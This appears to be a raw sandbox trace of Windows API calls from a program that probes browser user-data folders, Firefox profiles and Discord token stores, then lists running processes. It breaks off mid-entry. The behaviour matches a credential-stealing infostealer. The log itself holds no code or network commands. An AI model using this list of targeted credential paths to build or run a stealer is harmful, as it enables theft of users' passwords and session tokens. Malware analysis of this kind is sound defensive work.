0xc000342000 [0168.757] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\bravesoftware\\brave-browser\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.758] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c340, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.779] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Amigo\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\amigo\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.779] VirtualAlloc (lpAddress=0xc000344000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000344000 [0168.780] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Amigo\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\amigo\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.780] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c4e0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.780] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Torch\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\torch\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.780] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Torch\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\torch\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.823] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c680, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.848] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Yandex\\YandexBrowser\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\yandex\\yandexbrowser\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.848] VirtualAlloc (lpAddress=0xc000346000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000346000 [0168.849] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\yandex\\yandexbrowser\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.849] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c750, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.849] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\uCozMedia\\Uran\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\ucozmedia\\uran\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.850] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\uCozMedia\\Uran\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\ucozmedia\\uran\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.850] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c820, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.850] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Epic Privacy Browser\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\epic privacy browser\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.850] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Epic Privacy Browser\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\epic privacy browser\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.851] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c8f0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.851] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Google\\Chrome SxS\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\google\\chrome sxs\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.851] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Google\\Chrome SxS\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\google\\chrome sxs\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.873] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032c9c0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.874] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Vivaldi\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\vivaldi\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.874] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Vivaldi\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\vivaldi\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.874] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032cb60, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.874] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Sputnik\\Sputnik\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\sputnik\\sputnik\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.874] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\sputnik\\sputnik\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.875] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032cc30, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.897] VirtualAlloc (lpAddress=0xc000348000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000348000 [0168.897] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\7Star\\7Star\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\7star\\7star\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.898] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\7Star\\7Star\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\7star\\7star\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.898] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032cd00, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.898] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\CentBrowser\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\centbrowser\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.898] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\CentBrowser\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\centbrowser\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.898] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032cdd0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.899] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Orbitum\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\orbitum\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.899] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Orbitum\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\orbitum\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.899] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032cf70, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.899] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Kometa\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\kometa\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.900] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Kometa\\User Data\\Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\kometa\\user data\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.900] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00032d110, nSize=0x64 | out: lpBuffer="") returned 0x12 [0168.900] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Iridium\\User Data" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\iridium\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.941] VirtualAlloc (lpAddress=0xc00034a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00034a000 [0168.990] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc00034a000 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0169.013] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc00032d2b0, nSize=0x64 | out: lpBuffer="") returned 0x22 [0169.054] VirtualAlloc (lpAddress=0xc00034c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00034c000 [0169.151] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mozilla\\firefox\\profiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.262] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x3, dwLanguageId=0x409, lpBuffer=0xc00019ef38, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The system cannot find the path specified.\r\n") returned 0x2c [0169.263] VirtualAlloc (lpAddress=0xc00034e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00034e000 [0169.305] GetProcAddress (hModule=0x77660000, lpProcName="WriteConsoleW") returned 0x776731e0 [0169.306] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xc0003407e0*, nNumberOfCharsToWrite=0x8d, lpNumberOfCharsWritten=0xc00019f360, lpReserved=0x0 | out: lpBuffer=0xc0003407e0*, lpNumberOfCharsWritten=0xc00019f360*=0x8d) returned 1 [0169.336] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc00034a240 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0169.358] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming/discord/Local Storage/leveldb/" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\discord\\local storage\\leveldb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.358] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming/discord/Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\discord\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.359] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming/discordptb/Local Storage/leveldb/" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\discordptb\\local storage\\leveldb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.359] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming/discordptb/Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\discordptb\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.359] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming/discordcanary/Local Storage/leveldb/" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\discordcanary\\local storage\\leveldb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.359] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming/discordcanary/Local State" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\discordcanary\\local state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.423] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x77660000 [0169.423] GetProcAddress (hModule=0x77660000, lpProcName="CreateToolhelp32Snapshot") returned 0x77661c10 [0169.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0169.466] GetProcAddress (hModule=0x77660000, lpProcName="Process32FirstW") returned 0x77661910 [0169.466] Process32FirstW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.469] VirtualAlloc (lpAddress=0xc000350000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000350000 [0169.470] GetProcAddress (hModule=0x77660000, lpProcName="Process32NextW") returned 0x77661b20 [0169.470] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.472] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.474] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.476] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.478] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.480] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.482] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.484] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.486] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0169.488] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.490] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.492] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.494] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.496] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.499] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.501] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.503] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.505] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.507] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.509] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.511] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.513] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0169.514] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.516] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0169.518] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.520] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0169.522] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0169.524] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0169.526] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist.exe")) returned 1 [0169.528] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="standard private.exe")) returned 1 [0169.530] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="available section.exe")) returned 1 [0169.531] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, 